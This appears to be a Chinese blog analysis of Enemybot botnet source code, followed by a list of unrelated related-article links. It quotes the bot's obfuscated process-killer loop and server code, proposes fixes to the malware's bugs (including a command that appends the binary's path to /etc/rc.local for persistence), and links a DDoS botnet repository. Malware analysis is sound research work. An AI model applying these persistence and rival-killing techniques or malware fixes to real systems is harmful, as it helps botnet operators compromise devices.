就算我们对写入rc.local文件里面的路径进行启动,也是不行的。

在IDA当中进行调试运行:


在这里面我们一开始对于rc.local是没有办法进行写成功的,使用chmod之后就可以了。

在上文第20行代码这里,我们可以看到引用了argv[0],而在前文当中,存在rand_str(pname, 12);strncpy(argv[0], pname, space - 1); 这样的初始化代码,导致了原本替换了argv[0]里面的内容,但是这里又引用了这个变量,就造成了逻辑混乱。

改进思路

  • 如果需要改进的话,可以取用/proc/self/exe或者/proc/self/comm的返回值作为启动参数。
  • 可以直接运行类似的命令system("echo $(pwd)/$(cat /proc/self/comm) >> /etc/rc.local")或者相类似的系列指令当中。

coli_xywz

这个混乱逻辑是yj发现的,先看看代码

while (1){DIR *dir;struct dirent *file;if ((dir = opendir(eika("\x27\xa0\xe7\xb9\xce\x27"))) == NULL) //"/proc"{                                                              // 无法打开"/proc/"这个路径break;}while ((file = readdir(dir)) != NULL){ // 读取当前路径下的所有pid// skip all folders that are not PIDsif (*(file->d_name) < '0' || *(file->d_name) > '9')continue;char exe_path[64], *ptr_exe_path = exe_path, exe[PATH_MAX];char status_path[64], *ptr_status_path = status_path;int rp_len, fd, pid = atoi(file->d_name);j83j_counter++;if (pid <= coil_highest_pid && pid != parentpid || pid != getpid()) // skip our parent and our own pid{if (time(NULL) - last_pid_j83j > coil_RESTART_SCAN_TIME) // If more than coil_RESTART_SCAN_TIME has passed, restart j83js from lowest PID for process wrapcoil_highest_pid = coil_MIN_PID;elseif (pid > coil_MIN_PID && j83j_counter % 10 == 0)sleep(1); // Sleep so we can wait for another process to spawncontinue;}if (pid > coil_highest_pid)coil_highest_pid = pid;last_pid_j83j = time(NULL);// Store /proc/$pid/exe into exe_pathptr_exe_path += util_strcpy(ptr_exe_path, eika("\x27\xa0\xe7\xb9\xce\x27"));ptr_exe_path += util_strcpy(ptr_exe_path, file->d_name);ptr_exe_path += util_strcpy(ptr_exe_path, eika("\x27\x51\xc1\x51"));// Store /proc/$pid/status into status_pathptr_status_path += util_strcpy(ptr_status_path, eika("\x27\xa0\xe7\xb9\xce\x27"));ptr_status_path += util_strcpy(ptr_status_path, file->d_name);ptr_status_path += util_strcpy(ptr_status_path, "/status");// Resolve exe_path (/proc/$pid/exe) -> exeif ((rp_len = readlink(exe_path, exe, sizeof(exe) - 1)) != -1){exe[rp_len] = 0; // Nullterminate exe, since readlink doesn't guarantee a null terminated string// Skip this file if its exe == coil_exeif (pid == getpid() || pid == getppid() || util_strcmp(exe, coil_exe))continue;// 如果读取不到这个二进制文件,那么就直接杀掉if ((fd = open(exe, O_RDONLY)) == -1)kill(pid, 9);close(fd);}// 如果在exe_path中通过前64字节能找到已知bot的话,删掉当前进程kill -9 $pidif (d8ds(exe_path))kill(pid, 9);// Don't let others memory j83j!!!// 销毁作案现场util_zero(exe_path, sizeof(exe_path));util_zero(status_path, sizeof(status_path));sleep(1);}closedir(dir);}

这里面的代码其实是一个死代码。

根据第18行代码的判定条件,只有当前检查的pid是父进程或者当前进程的文件,才会跳出第18行的判定语句(判定为假),当进入到第46行,那么就会直接continue,也就是永远不会进入第50行代码。

改进思路

  • 将第18行的不等号换成等号。

servert端

后面又继续分析发现是server端的工作模式与我们设想的不一样,先看看下面这段代码的逻辑。

fp = fopen("login.txt", "r");
printf("0\n");
while (!feof(fp))
{c = fgetc(fp);++i;
}
printf("1\n");
int j = 0;
rewind(fp);
while (j != i - 1)
{fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);++j;
}

我还是不得不吐槽一句,为什么这个代码里面连个基本的文件指针是否为空都没有的判断,就很奇怪。

改进思路

  • 添加文件指针的判断

小结

既然到了不是僵尸网络进化的特点,我们没必要继续分析其相关代码了。

今天ZLH一句话提醒我了,公布在网上可能都是粗糙的框架,投入实战的可能才是我们值得深入研究的。

因此,我们可以关注enemy的变种,看看其往哪个方面变形了。

TODO

  • 尝试理解以下代码,为什么要在全局范围内设置一些随机数呢?

    void init_rand(uint32_t x) {int i;Q[0] = x;Q[1] = x + PHI;Q[2] = x + PHI + PHI;for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
    }
    
  • 尝试理解enemy代码中,为什么有的字符串没有加密,有的字符串加密了?

  • 看到一个有意思的网站,好像是另外一个专门写僵尸网络的运营组织。https://github.com/R00tS3c/DDOS-RootSec

  • 测试之前得到的一个enemybot,i586架构的,到时候将会更新这部分内容。

Enemy源码简单分析相关推荐

  1. Hessian 源码简单分析

    Hessian 源码简单分析 Hessian 是一个rpc框架, 我们需要先写一个服务端, 然后在客户端远程的调用它即可. 服务端: 服务端通常和spring 做集成. 首先写一个接口: public ...

  2. poco源码简单分析

    自动化工具poco源码简单分析 Airtest简介 Airtest是网易游戏开源的一款UI自动化测试项目,目前处于公开测试阶段,该项目分为AirtestIDE.Airtest.Poco.Testlab ...

  3. FFmpeg的HEVC解码器源码简单分析:概述

    ===================================================== HEVC源码分析文章列表: [解码 -libavcodec HEVC 解码器] FFmpeg ...

  4. FFmpeg的HEVC解码器源码简单分析:解码器主干部分

    ===================================================== HEVC源码分析文章列表: [解码 -libavcodec HEVC 解码器] FFmpeg ...

  5. JSP 编译和运行过程与JSP源码简单分析

    JSP 编译和运行过程与JSP转移源码简单分析 Web容器处理JSP文件请求的执行过程主要包括以下4个部分: 1. 客户端发出Request请求 2. JSP Container 将JSP转译成Ser ...

  6. 线程的3种实现方式并深入源码简单分析实现原理

    前言 本文介绍下线程的3种实现方式并深入源码简单的阐述下原理 三种实现方式 Thread Runnable Callable&Future 深入源码简单刨析 Thread Thread类实现了 ...

  7. reentrantlock失效了?_ReentrantLock 源码简单分析

    JAVA中锁的实现最常见的方式有两种,一种是 synchronized关键字,一种是Lock.实际的开发过程中,要对这两种方式进行取舍. synchronized是基于JVM层面实现的, Lock却是 ...

  8. ChaLearn Gesture Challenge_3:Approximated gradients源码简单分析

    前言 上一篇博文ChaLearn Gesture Challenge_2:examples体验 中简单介绍了CGC官网提供的丰富的sample,本节来简单分下其中的一个sample源码,该sample ...

  9. Linux·内核源码简单分析

    目录 系统总体流程: 各个目录的阅读总结: (一) boot (二)内核初始化init (三)kernel: (四)mm内存管理 (五)文件系统模块fs: 系统总体流程: 系统从boot开始动作,把内 ...

最新文章

  1. ECCV 2018|商汤37篇论文入选,为你解读精选论文(附链接+开源资源)
  2. python 连接sqlite及操作
  3. 对信噪比SNR、EbN0、EsN0的个人详细理解
  4. Java的知识点21——String类、StringBuffer和StringBuilder、不可变和可变字符序列使用陷阱
  5. python如何判断字典中是否存在某个键_总结:11个Python3字典内置方法大全及示例...
  6. Jenkins Pipeline高级用法-ShareLibrary
  7. Magento 模块详解
  8. 基于流的EXCEL文件导出,SXSSFWorkbook源码解析
  9. Windows Server 版本信息及支持期 Win10系统各版本服务起止日期。
  10. 0顶会入场大厂算法岗的正确姿势(干货总结)
  11. 剑指Offer字符串加法问题
  12. Git 与 Github 的使用 —— 下载单个图像或单个文件夹
  13. Qt QMutexLocker_自动解锁的机制
  14. 企业数字化转型之道(值得收藏)
  15. MATLAB入门到精通(三)
  16. UG二次开发之快速重量计算
  17. linux mysql backdoor_Linux SSH Backdoor分析排查
  18. 用户解锁不存在_“sim卡无效,显示lte,电信掉3g,通讯录+86”等出现在卡贴“tmsi解锁模式”中的解决方法...
  19. Work20230330
  20. Discord教程:Discord账号注册、Discord多账号登录和管理

热门文章

  1. 传统企业高薪招“大数据”岗位,到底靠不靠谱?
  2. VBS 的回车换行符
  3. [凡鸽鸽]《OC小白鸽01》初学OC的部分要点及输出“Hello Word”
  4. 如何把Android备忘录发到ios,怎么才能把安卓手机备忘录便签里的文件转到苹果上?...
  5. appstore苹果商店支付对接总结
  6. Docker 3.2.5:基于 Dockerfile 制作 Nginx 镜像
  7. 蒙特卡洛树是什么算法?
  8. 评选 | 2017中国AI英雄风云榜票选即将开启,12月4日在乌镇公布榜单
  9. 平面凸多边形顶点排序MATLAB,凸多边形顶点顺逆时针排序
  10. 数据的逻辑结构(线性结构、非线性结构;集合结构、线性结构、树状结构、网状结构),数据的存储结构(顺序结构、链式结构、索引结构、散列结构)